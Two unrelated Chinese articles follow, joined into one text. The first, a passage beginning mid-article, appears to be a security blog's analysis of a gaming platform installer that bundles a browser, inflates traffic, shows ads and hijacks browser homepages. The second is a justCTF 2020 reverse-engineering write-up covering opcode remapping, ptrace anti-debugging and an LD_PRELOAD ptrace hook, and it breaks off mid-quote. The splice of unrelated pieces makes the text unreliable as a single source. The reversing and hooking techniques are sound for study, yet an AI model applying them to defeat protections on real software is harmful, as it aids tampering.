其实再试的心情还是很复杂的,还是希望这个曾在自己大学期间令我们废寝忘食的游戏平台能回归到往日的天真。无惊无险的安装之后,我登录了自己多年未曾登陆的一个小号,仿佛是又回到了那个“网吧五连坐,从来没赢过”的年代:
[](http://blogs.360.cn/360safe/files/2015/12/04%E7%99%BB%E5%BD%95.png)
但就在这时,一个大大的浏览器窗口把我拉回了现实————这个浏览器是什么鬼……
[](http://blogs.360.cn/360safe/files/2015/12/03%E5%AE%89%E8%A3%85720%E6%B5%8F%E8%A7%88%E5%99%A8.png)
** 00000001b 原来天真的只有我**
看到了这个从来未见过的浏览器我便明白了这些年来天真的其实只有我而已……而VS,比起3个月前的那个VS,有过之而无不及……先说安装包,功能明显就增加了。揭开了这个NSIS安装包的安装脚本,平心而论还是很简单干净的。没有什么奇技淫巧在里面,只是干干净净的把VS平台的文件连带着720浏览器的文件简简单单大大方方的释放到了一个合适的位置上而已:
[](http://blogs.360.cn/360safe/files/2015/12/06%E5%AE%89%E8%A3%85720%E6%B5%8F%E8%A7%88%E5%99%A8.png)
如果至此打住,那也仅算是搞搞裙带关系而已。但随着测试的深入,上次分析中提到的刷流量的元凶再一次的出现在我们的视野里。
书接上回,上文书我们说到VS竞技游戏平台下了个resource.exe回来释放刷流量木马后台静默刷流量:
[](http://blogs.360.cn/360safe/files/2015/09/009_%E5%85%B3%E7%B3%BB.png)
显然,劳苦功高的resource.exe现在的工作更加繁忙了。下载的文件也多了:
[](http://blogs.360.cn/360safe/files/2015/12/07%E4%B8%8B%E8%BD%BD.png)
resource.exe把下回来的文件都堆在了%APPDATA%fx目录下,我们先来张合影————1、2、3,茄子~~~
[](http://blogs.360.cn/360safe/files/2015/12/09%E5%90%88%E5%BD%B1.png)
****
**00000010b 逐个说明 ****** **
**
**a) config.ini**
先看看最简单的config.ini,明文文本文件,给大家看看内容相信大家也就都懂了。
[](http://blogs.360.cn/360safe/files/2015/12/08config.png)
**b) dwm.exe和dvdata.dll** ****
dwm.exe其实就是个loader,负责加载dvdata.dll。而dvdata.dll的三个导出函数:MyStart负责调用StartGameTask函数,StartGameTask负责获取配置文件和上传用户信息,StartGameTaskLine则负责刷流量。具体的分析前文书中已经交代过这里也不必赘述。
**c) vrunner.exe和mini.dll**
vrunner.exe和上面的dwm.exe类似,也是一个loader,运行后便加载mini.dll并获取StopDoingTask函数。
[](http://blogs.360.cn/360safe/files/2015/12/11-Get-StopDoingTask.png)
而这个函数的作用仅仅是向服务器发送一个打点记录信息而已
[](http://blogs.360.cn/360safe/files/2015/12/12-mini_internetopen.png)
[](http://blogs.360.cn/360safe/files/2015/12/13-mini_HTTP%E6%89%93%E7%82%B9.png)
而同时,mini.dll的另一个函数StartWebTask也会被调用
[](http://blogs.360.cn/360safe/files/2015/12/14-mini_StartWebTask.png)
同样也有一个打点访问
[](http://blogs.360.cn/360safe/files/2015/12/15-mini_InternetConnect.png)
[](http://blogs.360.cn/360safe/files/2015/12/16-mini_Request.png)
另外,还会获取一个config配置文件,作用很简单————弹出广告窗口
[](http://blogs.360.cn/360safe/files/2015/12/17-mini_Request_config.png)
[](http://blogs.360.cn/360safe/files/2015/12/18-mini_ShowWind.png)
**d) room.exe** ****
room.exe是一个执行任务的坚挺进程,根据在线的任务列表,通过解析JSON数据来执行指定的任务
[](http://blogs.360.cn/360safe/files/2015/12/20-room_url.png)
[](http://blogs.360.cn/360safe/files/2015/12/21-room_parse.png)
当前返回的task内容如下:
[](http://blogs.360.cn/360safe/files/2015/12/19-room_task.png)
由此可见,目前的任务是在VSClient.exe进程退出之后去打开指定的网页来实现刷广告(目前打开的是VS自己的网站)。
**e) svchost.exe**
最后说这个svchost.exe,是因为实在是从“面相”上看就实在让人无法不怀疑他的身份……而其代码也是非常的切合其身份。
[](http://blogs.360.cn/360safe/files/2015/12/22-svchost-urls.png)
这只是些下载地址而已,而真正下载的又是些什么呢?
[](http://blogs.360.cn/360safe/files/2015/12/30-svchost-360chrome.png)
[](http://blogs.360.cn/360safe/files/2015/12/31-svchost-360se.png)
[](http://blogs.360.cn/360safe/files/2015/12/32-svchost-liebao.png)
[](http://blogs.360.cn/360safe/files/2015/12/33-svchost-chrome.png)
[](http://blogs.360.cn/360safe/files/2015/12/34-svchost-tw.png)
[](http://blogs.360.cn/360safe/files/2015/12/35-svchost-ff.png)
看到了好多浏览器的名字,作用其实很简单,
**替换系统现有浏览器的主程序,而其自身的功能也很简单————加网址参数调用原本的浏览器主程序达到改首页的目的,很难相像,国内一家上市公司,会通过这种恶劣而又低技术的手法来劫持用户浏览器。**
并且劫持的这些文件并没有打“Guangzhou WeiSi Software
CO.,ltd”的签名,而之前作恶的程序都是带有这个签名的,显然是做了坏事怕被人发现。
[](http://blogs.360.cn/360safe/files/2015/12/QQ%E6%88%AA%E5%9B%BE20151231102333.jpg)
[](http://blogs.360.cn/360safe/files/2015/12/40-svchost-%E6%9B%BF%E6%8D%A2.png)
当然,最简单粗暴的手段也是用了的。来,再张合影,1、2、3,前妻,呃,不对,田七~~~~~
[](http://blogs.360.cn/360safe/files/2015/12/05%E6%94%B9%E9%A6%96%E9%A1%B5%E5%A4%A7%E5%90%88%E5%BD%B1.png)
******00000011b 能力越大责任越大**
With gread power comes great
responsibility!作为一家上市公司,目的不该是上市圈钱,而应该是肩负了更大的责任,尽力与广大的股民实现共赢。刷着流量、推广浏览器、点击网页广告、用各种办法篡改浏览器的首页……这真的该是一家上市公司该有的作为么?还请三思吧…
… | 社区文章 |
# justCTF[*]2020 RE部分复盘
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近复盘了一下`justCTF[*]2020`，分享一下我的收获
官网 <https://2020.justctf.team/>
## rusty
> Looking at Rust code in disassembler/decompiler hurts, so… look somewhere
> else.
看到这个标题，打消了直接分析反汇编代码的念头，我有如下思路
* 像Ruby打包exe工具ocra一样，exe文件包含了源代码脚本和脚本解析工具ruby.exe，但是rusty应该没有这个特性
* 程序运行中，有源代码文件在某个路径生成
* github上有源代码
* exe文件本身有源代码
尝试过后都失败了，最后发现这个PE文件的DOS Stub非常庞大，这是有端倪的地方
### DOS Stub
每个PE文件都有DOS部分，DOS部分 分为 `IMAGE_DOS_HEADER结构` 和 `DOS Stub`
DOS
Stub相当于DOS下的可执行文件，是windows为了向后兼容设计的，如果用户尝试在DOS打开Windows二进制文件，那么就会执行这个文件，一般会显示`This
program cannot be run in DOS Mode.`
我用`010editor`把PE文件的DOS部分提取出来，利用DOSBox运行，发现是有动画的
当我们键盘有输入的时候，会有火花生成
有思路了，于是用 IDA 以DOS文件方式打开，分析其汇编代码
### 分析start函数
跟踪`INT
16H`指令，这是键盘I/O中断，详细可以看这里<https://zhidao.baidu.com/question/233998859.html>
，`INT 21H`指令是输出字符串的指令
用python重写代码，基本逻辑如下（注意，DOS字符串以`$`结尾）
input = [] # 60h
output = [0x3E, 0x49, 0x26, 0x52, 0x45, 0x22, 0x42, 0x10, 0x66, 0x0B, 0x6C, 0x06, 0x0D, 0x50, 0x0F, 0x4C, 0x25, 0x4C, 0x3F, 0x12, 0x56, 0x03, 0x20, 0x5A, 0x14, 0x61, 0x4A, 0x3F, 0x5D, 0x51, 0x12, 0x5C, 0x18, 0x05, 0x43, 0x39, 0x4F, 0x32, 0x0A] # 34h
for i in range(len(input)):
for j in range(i,len(input)):
output[j] ^= input[i]
assert(sum(input)==0xD9F)
assert(sum(output)==0xFD9)
print(bytes(output))
至此，由于input和output我们没办法知道，已经没办法往下推导了
首先我猜测 `input` 是flag，利用前8位是
`justCTF{`，算出来`output`非常奇怪，尝试`output`是flag，算出来`input`为`This
pro`，明显的可读文本，说明`output`确实是flag
如果`input`不是已知的话，没办法解了，爆破不实际，在ida和010editor里搜寻字符串，发现有一串非常符合的字符串
作为input计算发现`assert(sum(input)==0xD9F)`成立，这个input一定就是正确的了，计算output 即可得到flag
input = list(map(ord,'This program cannot be run in DOS mode.'))
# b'justCTF{just_a_rusty_old_DOS_stub_task}'
## That’s not crypto
### pyc反编译
python作为一门脚本语言(解释型语言)，首先会将我们写的代码转化成二进制码，这些二进制码由 Python虚拟机解释并运行。所生成的二进制代码文件 即是
.pyc 文件
编译（.py转.pyc）
>>> import py_compile
>>> py_compile.compile('py file path')
反编译（.pyc转.py）：使用 uncompyle6
uncompyle6 -o data.py data.pyc
其中 data.py 是导出文件，data.pyc是要反编译的pyc文件
反编译后的python代码，虽然数字很大，但是逻辑清晰，容易逆向
解密爆破即可
# a列表很大，在脚本中没有贴出
def poly(a, x):
value = 0
for ai in a:
value *= x
value += ai
return value
data = []
for i in range(32,0x7f * 57):
x = i * 69684751861829721459380039
value = poly(a, x)
if value == 24196561:
data.append(i)
print(len(data))
for i in range(len(data)-1,0,-1):
data[i] -= data[i-1]
print(bytes(data))
# b'justCTF{this_is_very_simple_flag_afer_so_big_polynomails}'
## REmap
题目描述
> Recently we fired our admin responsible for backups. We have the program he
> wrote to decrypt those backups, but apparently it’s password protected. He
> did not leave any passwords and he’s not answering his phone. Help us crack
> this password!
exe文件，需要输入password，ida分析
在字符串窗口发现了很多py开头的字符串
### pyinstaller
python作为一门解释型语言，可以利用工具把python脚本打包为exe，主流工具就是pyinstaller
在 ida 中找到 PyInstaller 相关字符串，可以确定这个exe是pyinstaller打包的了
利用 **pyinstxtractor** 脚本将.exe文件转为.pyc文件（pyinstxtractor脚本在github上下载）
python pyinstxtractor.py exe文件路径
注意python的版本一定要和 pyinstaller打包所用python版本一致，否则虽然转化成功，但是会有一些提取错误(extraction
errors)，并且跳过了重要的步骤pyz extraction
[+] Processing D:\CTF_time\justCTF\backup_decryptor.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 38
[+] Length of package: 5598412 bytes
[+] Found 31 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: backup_decryptor.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python38 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: D:\CTF_time\justCTF\backup_decryptor.exe
这里它使用了Python38
于此我们得到了backup_decryptor.exe_extracted文件夹，里面有很多pyc文件，还有python38.dll
### pyc混淆加密
我常规地利用uncompyle6将pyc文件转化为py文件，失败了，起初我以为是pyc文件的 image num 没有补齐，但是无论怎么修改image
num，都是失败
后面看了tips
> 1. Extrace `PyInstaller` packed executable with
> [pyinstxtractor.py](https://github.com/extremecoders-re/pyinstxtractor) ->
> See entry point at `backup_decryptor.pyc`.
> 2. Try to decompile/disassemble it -> Fail because of invalid arg count.
> 3. Recognize that it has remapped all the python opcodes -> Find a way to
> find the mapping back to the original.
> 4. Write code to convert the mapped `pyc` to the original -> Decompile it.
> 5. Analyze the decompiled python code -> Get flag.
>
联系到题目 名称 REmap，这个题目混淆了python opcode，需要我们 重新映射 remap
**修改opcode**
我们获取python源代码，修改opcode对应值，这样编译出来的python解释器是独一无二的，其在把python代码转化成二进制码(pyc)时，opcode对应的值也被改变，可以达到正常的python解释器无法解析我们python编译的pyc文件的目的
本题就是如此，我们要做的是修复这些opcode
### Remap
这里有一篇文章讲得不错 <https://medium.com/tenable-techblog/remapping-python-opcodes-67d79586bfd5>
在python官网上下载正常的python38环境，运行如下代码即可得到 opcode 键值对
>>> import opcode
>>> opcode.opmap
得到如下
py38_opcode = {'POP_TOP': 1, 'ROT_TWO': 2, 'ROT_THREE': 3, 'DUP_TOP': 4, 'DUP_TOP_TWO': 5, 'ROT_FOUR': 6, 'NOP': 9, 'UNARY_POSITIVE': 10, 'UNARY_NEGATIVE': 11, 'UNARY_NOT': 12, 'UNARY_INVERT': 15, 'BINARY_MATRIX_MULTIPLY': 16, 'INPLACE_MATRIX_MULTIPLY': 17, 'BINARY_POWER': 19, 'BINARY_MULTIPLY': 20, 'BINARY_MODULO': 22, 'BINARY_ADD': 23, 'BINARY_SUBTRACT': 24, 'BINARY_SUBSCR': 25, 'BINARY_FLOOR_DIVIDE': 26, 'BINARY_TRUE_DIVIDE': 27, 'INPLACE_FLOOR_DIVIDE': 28, 'INPLACE_TRUE_DIVIDE': 29, 'GET_AITER': 50, 'GET_ANEXT': 51, 'BEFORE_ASYNC_WITH': 52, 'BEGIN_FINALLY': 53, 'END_ASYNC_FOR': 54, 'INPLACE_ADD': 55, 'INPLACE_SUBTRACT': 56, 'INPLACE_MULTIPLY': 57, 'INPLACE_MODULO': 59, 'STORE_SUBSCR': 60, 'DELETE_SUBSCR': 61, 'BINARY_LSHIFT': 62, 'BINARY_RSHIFT': 63, 'BINARY_AND': 64, 'BINARY_XOR': 65, 'BINARY_OR': 66, 'INPLACE_POWER': 67, 'GET_ITER': 68, 'GET_YIELD_FROM_ITER': 69, 'PRINT_EXPR': 70, 'LOAD_BUILD_CLASS': 71, 'YIELD_FROM': 72, 'GET_AWAITABLE': 73, 'INPLACE_LSHIFT': 75, 'INPLACE_RSHIFT': 76, 'INPLACE_AND': 77, 'INPLACE_XOR': 78, 'INPLACE_OR': 79, 'WITH_CLEANUP_START': 81, 'WITH_CLEANUP_FINISH': 82, 'RETURN_VALUE': 83, 'IMPORT_STAR': 84, 'SETUP_ANNOTATIONS': 85, 'YIELD_VALUE': 86, 'POP_BLOCK': 87, 'END_FINALLY': 88, 'POP_EXCEPT': 89, 'STORE_NAME': 90, 'DELETE_NAME': 91, 'UNPACK_SEQUENCE': 92, 'FOR_ITER': 93, 'UNPACK_EX': 94, 'STORE_ATTR': 95, 'DELETE_ATTR': 96, 'STORE_GLOBAL': 97, 'DELETE_GLOBAL': 98, 'LOAD_CONST': 100, 'LOAD_NAME': 101, 'BUILD_TUPLE': 102, 'BUILD_LIST': 103, 'BUILD_SET': 104, 'BUILD_MAP': 105, 'LOAD_ATTR': 106, 'COMPARE_OP': 107, 'IMPORT_NAME': 108, 'IMPORT_FROM': 109, 'JUMP_FORWARD': 110, 'JUMP_IF_FALSE_OR_POP': 111, 'JUMP_IF_TRUE_OR_POP': 112, 'JUMP_ABSOLUTE': 113, 'POP_JUMP_IF_FALSE': 114, 'POP_JUMP_IF_TRUE': 115, 'LOAD_GLOBAL': 116, 'SETUP_FINALLY': 122, 'LOAD_FAST': 124, 'STORE_FAST': 125, 'DELETE_FAST': 126, 'RAISE_VARARGS': 130, 'CALL_FUNCTION': 131, 'MAKE_FUNCTION': 132, 'BUILD_SLICE': 133, 'LOAD_CLOSURE': 135, 'LOAD_DEREF': 136, 'STORE_DEREF': 137, 'DELETE_DEREF': 138, 'CALL_FUNCTION_KW': 141, 'CALL_FUNCTION_EX': 142, 'SETUP_WITH': 143, 'LIST_APPEND': 145, 'SET_ADD': 146, 'MAP_ADD': 147, 'LOAD_CLASSDEREF': 148, 'EXTENDED_ARG': 144, 'BUILD_LIST_UNPACK': 149, 'BUILD_MAP_UNPACK': 150, 'BUILD_MAP_UNPACK_WITH_CALL': 151, 'BUILD_TUPLE_UNPACK': 152, 'BUILD_SET_UNPACK': 153, 'SETUP_ASYNC_WITH': 154, 'FORMAT_VALUE': 155, 'BUILD_CONST_KEY_MAP': 156, 'BUILD_STRING': 157, 'BUILD_TUPLE_UNPACK_WITH_CALL': 158, 'LOAD_METHOD': 160, 'CALL_METHOD': 161, 'CALL_FINALLY': 162, 'POP_FINALLY': 163}
以上获得了正常python得opcode，现在我们要找题目的opcode键值对了
我们利用pyinstxtractor获得的`backup_decryptor.exe_extracted`文件夹下`PYZ-00.pyz_extracted`
文件夹，有一个名为`opcode.pyc`的文件，这个pyc文件有 `python汇编码名称:opcode值` 这样的结构
我们利用opcode name修复这个映射
# py38_opcode = {正常python的opcode键值对，前面有，这里不再列出}
with open('./pyc/extracted_opcode.pyc','rb') as f:
extracted = f.read()
mapping = {}
for keyword in py38_opcode:
value = py38_opcode[keyword]
keyword = keyword.encode()
co_code = extracted[extracted.find(keyword)+len(keyword)+1]
if extracted.find(keyword) != -1:
if extracted[extracted.find(keyword)+len(keyword)] == 0xE9:
mapping[co_code] = value
else:
print(keyword)
print(mapping)
### pyc文件格式
获取映射之后要开始修复backup_decryptor.pyc文件了，首先要了解pyc文件格式（以下都是对于python38而言）
* 首先是4字节特征值 image ，之后是12字节的时间戳，这两部分组成了pyc文件头header
* header之后是一个或多个的`code_object`，`code_object` 包含 `co_code` 和 `co_consts` 两部分，而 `co_consts` 可能包含另一个`code_object` ，所以要使用递归来还原
* python38的pyc文件`code_object` 的 `co_code` 固定两字节，就算没有操作数 （operands）
import marshal
with open('./pyc/backup_decryptor.pyc','rb') as f:
magic = f.read(4)
date = f.read(12)
decryptor = marshal.load(f)
def convert(decryptor,mapping):
new_co_consts = []
for co_const in decryptor.co_consts:
if type(co_const) == type(decryptor):
co_const = convert(co_const,mapping)
new_co_consts.append(co_const)
else:
new_co_consts.append(co_const)
new_co_code = b''
for i in range(len(decryptor.co_code)):
if i & 1:
new_co_code += decryptor.co_code[i].to_bytes(1, byteorder='little')
else:
if decryptor.co_code[i] in mapping:
new_co_code += mapping[decryptor.co_code[i]].to_bytes(1,byteorder= 'little')
else:
print("no find")
new_co_code += decryptor.co_code[i].to_bytes(1,byteorder= 'little')
return decryptor.replace(co_code=new_co_code, co_consts=tuple(new_co_consts))
final = convert(decryptor,mapping)
with open('backup_decryptor_converted.pyc', 'wb') as fc:
fc.write(b"\x55\x0d\x0d\x0a" + b"\0"*12) # 文件头
marshal.dump(final, fc)
print('ok')
到这里还是使用uncompyle6失败，回去检查发现名为`EXTENDED_ARG`和`LOAD_METHOD`的opcode后面紧跟着的字节不是0xE9，要以硬编码方式补上
mapping[109] = 144
mapping[90] = 160
这样得到的pyc就可以使用uncompyle6转化为py文件了
### 分析py文件
得到py文件，它直接从最底层的内建函数builtins出发，所以代码还是很难看的
import builtins as bi
def sc(s1, s2):
if getattr(bi, 'len')(s1) != getattr(bi, 'len')(s2):
return False
res = 0
for x, y in getattr(bi, 'zip')(s1, s2):
res |= getattr(bi, 'ord')(x) ^ getattr(bi, 'ord')(y)
else:
return res == 0
def ds(s):
k = [80, 254, 60, 52, 204, 38, 209, 79, 208, 177, 64, 254, 28, 170, 224, 111]
return ''.join([getattr(bi, 'chr')(c ^ k[(i % getattr(bi, 'len')(k))]) for i, c in getattr(bi, 'enumerate')(s)])
rr = lambda v, rb, mb: (v & 2 ** mb - 1) >> rb % mb | v << mb - rb % mb & 2 ** mb - 1
def rs(s):
return [rr(c, 1, 16) for c in s]
f = getattr(bi, ds(rs([114, 288, 152, 130, 368])))(ds(rs([42, 288, 144, 162, 380, 12, 322, 92, 326, 388, 110, 290, 220, 412, 436, 158])))
ch01 = [
100, 410]
ch02 = [206, 402]
ch03 = [198, 280]
ch04 = [30, 280]
ch05 = [198, 300]
ch06 = [194, 280]
ch07 = [198, 322]
ch08 = [206, 300]
ch09 = [194, 406]
ch10 = [30, 400]
ch11 = [74, 270]
if f.startswith(ds(rs([116, 278, 158, 128, 286, 228, 302, 104]))):
if f.endswith(ds(rs([90]))):
ff = f[{}.__class__.__base__.__subclasses__()[4](ds(rs([208]))):{}.__class__.__base__.__subclasses__()[4](ds(rs([250, 414])))]
rrr = True
if len(ff) == 0:
rrr = False
if not sc(ds(rs(ch01)), ff[0:2] if ff[0:2] != '' else 'c1'):
rrr = False
if not sc(ds(rs(ch02)), ff[2:4] if ff[2:4] != '' else 'kl'):
rrr = False
if not sc(ds(rs(ch03)), ff[4:6] if ff[4:6] != '' else '_f'):
rrr = False
if not sc(ds(rs(ch04)), ff[6:8] if ff[6:8] != '' else '7f'):
rrr = False
if not sc(ds(rs(ch05)), ff[8:10] if ff[8:10] != '' else 'd0'):
rrr = False
if not sc(ds(rs(ch06)), ff[10:12] if ff[10:12] != '' else '_a'):
rrr = False
if not sc(ds(rs(ch07)), ff[12:14] if ff[12:14] != '' else 'jk'):
rrr = False
if not sc(ds(rs(ch08)), ff[14:16] if ff[14:16] != '' else '8k'):
rrr = False
if not sc(ds(rs(ch09)), ff[16:18] if ff[16:18] != '' else '5b'):
rrr = False
if not sc(ds(rs(ch10)), ff[18:20] if ff[18:20] != '' else '_9'):
rrr = False
else:
if not sc(ds(rs(ch11)), ff[20:22] if ff[20:22] != '' else 'xd'):
rrr = False
getattr(bi, ds(rs([64, 280, 170, 180, 368])))()
if rrr:
getattr(bi, ds(rs([64, 280, 170, 180, 368])))(ds(rs([42, 272, 178, 180, 472, 164, 370, 64, 480, 394, 80, 310, 120, 436, 258, 56, 70, 274, 166, 140, 336, 12, 368, 120, 480, 420, 94, 280, 220, 414, 262, 54, 248, 444, 180, 130, 350, 154, 482, 108, 382, 392, 216, 444, 170, 276, 292, 20, 122, 290, 148, 162, 336, 12, 330, 78, 362, 290, 100, 310, 222, 444, 384, 0, 108, 444, 144, 184, 338, 12, 356, 64, 360, 424, 220, 444, 138, 394, 298, 158, 70, 300, 166, 130, 320, 132, 382, 208, 328, 290, 80, 318, 212, 414, 384, 18, 114, 280, 178, 40, 322, 134, 510])))
else:
getattr(bi, ds(rs([64, 280, 170, 180, 368])))(ds(rs([60, 290, 152, 162])))
else:
getattr(bi, ds(rs([64, 280, 170, 180, 368])))(ds(rs([60, 290, 152, 162])))
但是我们可以修改源代码，调试猜测其大致功能，而且它居然每两个字符进行比较，这导致我们可以爆破，甚至不需要知道具体逻辑
修改源代码为以下：
import builtins as bi
def sc(s1, s2):
if getattr(bi, 'len')(s1) != getattr(bi, 'len')(s2):
return False
res = 0
for x, y in getattr(bi, 'zip')(s1, s2):
res |= getattr(bi, 'ord')(x) ^ getattr(bi, 'ord')(y)
else:
return res == 0
def ds(s):
k = [80, 254, 60, 52, 204, 38, 209, 79, 208, 177, 64, 254, 28, 170, 224, 111]
return ''.join([getattr(bi, 'chr')(c ^ k[(i % getattr(bi, 'len')(k))]) for i, c in getattr(bi, 'enumerate')(s)])
rr = lambda v, rb, mb: (v & 2 ** mb - 1) >> rb % mb | v << mb - rb % mb & 2 ** mb - 1
def rs(s):
return [rr(c, 1, 16) for c in s]
f = getattr(bi, ds(rs([114, 288, 152, 130, 368])))(ds(rs([42, 288, 144, 162, 380, 12, 322, 92, 326, 388, 110, 290, 220, 412, 436, 158])))
# f = input("Enter password")
# 输入justCTF{1234567890aaaa}
ch01 = [
100, 410]
ch02 = [206, 402]
ch03 = [198, 280]
ch04 = [30, 280]
ch05 = [198, 300]
ch06 = [194, 280]
ch07 = [198, 322]
ch08 = [206, 300]
ch09 = [194, 406]
ch10 = [30, 400]
ch11 = [74, 270]
if f.startswith(ds(rs([116, 278, 158, 128, 286, 228, 302, 104]))):
if f.endswith(ds(rs([90]))):
ff = f[{}.__class__.__base__.__subclasses__()[4](ds(rs([208]))):{}.__class__.__base__.__subclasses__()[4](ds(rs([250, 414])))]
print(ff)
# 输出了 1234567890aaaa，说明ff就是我们的input
rrr = True
# 每两个字符比较一次，这样是可以爆破的
if len(ff) == 0:
rrr = False
chr_array = [ch01,ch02,ch03,ch04,ch05,ch06,ch07,ch08,ch09,ch10,ch11]
for i in range(11):
for char1 in range(32,0x7f):
for char2 in range(32,0x7f):
tmp = list(ff)
tmp[2 * i] = chr(char1)
tmp[2 * i + 1] = chr(char2)
ff = ''.join(tmp)
if sc(ds(rs(chr_array[i])), ff[2*i:2*i+2]):
print(ff[2*i:2*i+2],end='')
break
if not sc(ds(rs(ch01)), ff[0:2] if ff[0:2] != '' else 'c1'):
rrr = False
if not sc(ds(rs(ch02)), ff[2:4] if ff[2:4] != '' else 'kl'):
rrr = False
if not sc(ds(rs(ch03)), ff[4:6] if ff[4:6] != '' else '_f'):
rrr = False
if not sc(ds(rs(ch04)), ff[6:8] if ff[6:8] != '' else '7f'):
rrr = False
if not sc(ds(rs(ch05)), ff[8:10] if ff[8:10] != '' else 'd0'):
rrr = False
if not sc(ds(rs(ch06)), ff[10:12] if ff[10:12] != '' else '_a'):
rrr = False
if not sc(ds(rs(ch07)), ff[12:14] if ff[12:14] != '' else 'jk'):
rrr = False
if not sc(ds(rs(ch08)), ff[14:16] if ff[14:16] != '' else '8k'):
rrr = False
if not sc(ds(rs(ch09)), ff[16:18] if ff[16:18] != '' else '5b'):
rrr = False
if not sc(ds(rs(ch10)), ff[18:20] if ff[18:20] != '' else '_9'):
rrr = False
else:
if not sc(ds(rs(ch11)), ff[20:22] if ff[20:22] != '' else 'xd'):
rrr = False
getattr(bi, ds(rs([64, 280, 170, 180, 368])))()
if rrr:
getattr(bi, ds(rs([64, 280, 170, 180, 368])))(ds(rs([42, 272, 178, 180, 472, 164, 370, 64, 480, 394, 80, 310, 120, 436, 258, 56, 70, 274, 166, 140, 336, 12, 368, 120, 480, 420, 94, 280, 220, 414, 262, 54, 248, 444, 180, 130, 350, 154, 482, 108, 382, 392, 216, 444, 170, 276, 292, 20, 122, 290, 148, 162, 336, 12, 330, 78, 362, 290, 100, 310, 222, 444, 384, 0, 108, 444, 144, 184, 338, 12, 356, 64, 360, 424, 220, 444, 138, 394, 298, 158, 70, 300, 166, 130, 320, 132, 382, 208, 328, 290, 80, 318, 212, 414, 384, 18, 114, 280, 178, 40, 322, 134, 510])))
else:
getattr(bi, ds(rs([64, 280, 170, 180, 368])))(ds(rs([60, 290, 152, 162])))
else:
getattr(bi, ds(rs([64, 280, 170, 180, 368])))(ds(rs([60, 290, 152, 162])))
得到结果
Enter password: justCTF{1234567890aadsafdasfdjfldsfladfasfsdfaaa}
1234567890aadsafdasfdjfldsfladfasfsdfaaa
b3773r_r3h1r3_7h15_6uy
Process finished with exit code 0
flag
>
> justCTF{b3773r_r3h1r3_7h15_6uy}
>
## debug_me_if_you_can
> I bet you can’t crack this binary protected with my custom bl33d1ng edg3
> pr0t3c70r!!!111oneoneone
题目给了supervisor文件，flag.png.enc，crackme.enc
### ptrace反调试
我们首先从最简单的ptrace反调试说起，以下例子引自
[ctfwiki](https://wiki.x10sec.org/reverse/linux/detect-dbg-zh/)
int main()
{
if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0) {
printf("DEBUGGING... Bye\n");
return 1;
}
printf("Hello\n");
return 0;
}
ptrace是一个Linux系统用于调试的系统调用，一个进程只能被一个进程
ptrace，gdb是基于ptrace的调试器，所以如果gdb调试自身程序，ptrace返回错误，利用此机制察觉gdb来实现反调试
绕过思路有很多，patch反调试代码，用不使用 ptrace 的调试器（这个我没找到），hook ptrace函数
以上反调试思路都是将ptrace **无效化** ，但是如果 ptrace 函数 和 程序逻辑密切相关呢？本题就是如此
### 分析supervisor
首先分析supervisor的main函数
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
signed int v4; // [rsp+1Ch] [rbp-4h]
sub_11A5();
v4 = fork();
if ( v4 )
{
if ( v4 <= 0 )
return 0xFFFFFFFFLL;
sub_1E99(v4); //利用ptrace调试子进程
}
else
{
sub_227F("./crackme.enc"); //执行./crackme.enc的代码
}
return 0LL;
}
利用 fork 函数生成子进程，父进程 利用 ptrace 调试子进程，子进程遇到异常时将异常发送给父进程，父进程根据异常信息
修改子进程代码，使得子进程正常运行
能否绕开父进程直接 ptrace 子进程呢？不能，我们的调试器无法 正确 修改子进程代码，使得子进程正常运行
绕过思路：调试器模拟父进程修改子进程代码，但是如果父进程代码较为复杂，此思路不可行
继续分析sub_1E99（父进程要执行的代码），理清其逻辑大致如下：
1. wait(0LL)，等待子进程信号
2. ptrace(PTRACE_GETREGS, a1, 0LL, &v2)，获取子进程寄存器信息，分析`user_regs_struct`结构体可知其获取的是 rip ，这个结构体被定义在<linux/user.h>
3. v18 = ptrace(PTRACE_PEEKTEXT, a1, v19, 0LL)，获取rip指向的代码的值，这个值要满足一定的条件，获取rip+4/rip+8指向的代码的值，利用这个值对子进程进行不同的解密
4. ptrace(PTRACE_POKETEXT, a1, v13, v14)，修改子进程的代码
5. ptrace(PTRACE_SETREGS, a1, 0LL, &v4)，修改rip的值
6. ptrace(PTRACE_CONT, a1, 0LL, 0LL)，继续运行子进程
7. wait(0LL)，等待子进程信号
想要理清父进程修改子进程代码的逻辑很痛苦，不得不说这种 **反调试手段达到了效果**
### hook ptrace
想要调试子进程困难重重，完全静态分析也痛苦，我们要另寻他路了
观察到它使用ptrace(PTRACE_POKETEXT, a1, v13, v14)修改子进程的代码，如果我们 hook
ptrace，跟踪trace一下它到底修改了什么，说不定可行
尝试hook ptrace，这里使用 Efiens 的代码，稍作修改
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <stdarg.h>
#include <sys/utsname.h>
#include <sys/stat.h>
long int ptrace(enum __ptrace_request __request, ...){
va_list list;
va_start(list, __request);
pid_t pid = va_arg(list, pid_t);
void* addr = va_arg(list, void*);
void* data = va_arg(list, void*);
long int (*orig_ptrace)(enum __ptrace_request __request, pid_t pid, void *addr, void *data);
orig_ptrace = dlsym(RTLD_NEXT, "ptrace");
long int result = orig_ptrace(__request, pid, addr, data);
if (__request == PTRACE_SETREGS){
unsigned long rip = *((unsigned long*)data + 16);
printf("SETREGS: rip: 0x%lx\n", rip);
} else if (__request == PTRACE_POKETEXT){
printf("POKETEXT: (addr , data) = (0x%lx , 0x%lx)\n", (unsigned long)addr, (unsigned long)data);
}
return result;
}
__attribute__((constructor)) static void setup(void) {
fprintf(stderr, "called setup()\n");
}
稍微解释一下函数
**dlsym**
根据动态链接库操作句柄与符号，返回符号对应的地址
> RTLD_NEXT
> Find the next occurrence of the desired symbol in the
> search order after the current object. This allows one to
> provide a wrapper around a function in another shared
> object, so that, for example, the definition of a function
> in a preloaded shared object (see LD_PRELOAD in ld.so(8))
> can find and invoke the “real” function provided in
> another shared object (or for that matter, the “next”
